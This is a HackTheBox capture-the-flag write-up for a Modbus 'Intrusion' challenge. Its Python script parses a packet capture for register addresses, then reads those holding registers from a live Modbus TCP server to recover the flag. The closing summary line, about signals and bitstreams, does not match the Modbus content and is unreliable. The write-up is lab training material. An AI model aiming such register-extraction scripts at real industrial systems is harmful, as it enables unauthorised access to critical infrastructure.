HackTheBox Intrusion Challenge
https://app.hackthebox.com/challenges/525
Description
After gaining access to the enemy’s infrastructure, we collected crucial network traffic data from their Modbus network. Our primary objective is to swiftly identify the specific registers containing highly sensitive information and extract that data.
Exploitation
network_logs.pcapng is parsed with:
#!/usr/bin/python3
import socket
import sys
from time import sleep
from umodbus import conf
from umodbus.client import tcp
from scapy.all import rdpcap, TCP
conf.SIGNED_VALUES = True
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} <ip:port>")
sys.exit(1)
try:
ip, port = sys.argv[1].split(":")
port = int(port)
except ValueError:
print("Error: Invalid format for IP and port. Use <ip:port> format.")
sys.exit(1)
PCAP_FILE = "network_logs.pcapng"
def extract_modbus_commands_and_registers(pcap_file):
packets = rdpcap(pcap_file)
modbus_commands = []
register_addresses = []
for pkt in packets:
if TCP in pkt:
payload = bytes(pkt[TCP].payload).hex()
if "34" in payload:
modbus_commands.append(payload)
if len(payload) >= len("91ed00000006341000060001"):
packet = payload[-10:]
if packet.startswith("10"):
register_addr = int(packet[-6:-4], 16)
register_addresses.append(register_addr)
return modbus_commands, register_addresses
def main():
print("[*] Parsing Modbus commands and register addresses from the PCAP file...")
modbus_commands, register_addresses = extract_modbus_commands_and_registers(PCAP_FILE)
print("[*] Extracted Modbus Commands:")
for cmd in modbus_commands:
print(cmd)
print("\n[*] Register Addresses:")
print(register_addresses)
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
print(f"Connected to Modbus server at {ip}:{port}")
except Exception as e:
print(f"Failed to connect to {ip}:{port} - {e}")
sys.exit(1)
flag = ""
try:
for address in register_addresses:
command = tcp.read_holding_registers(52, address, 1)
response = tcp.send_message(command, sock)
if isinstance(response, list) and response:
value = response[0]
flag += chr(value)
print(f"Register {address}: {value} -> {chr(value)}")
else:
print(f"Failed to read register {address}: {response}")
sleep(0.1)
except Exception as e:
print(f"Error during Modbus communication: {e}")
finally:
sock.close()
print("Connection closed.")
print(f"Retrieved flag: {flag}")
if __name__ == "__main__":
main()
Summary
Intrusion: decode the captured signal, map the bitstream, and recover the flag.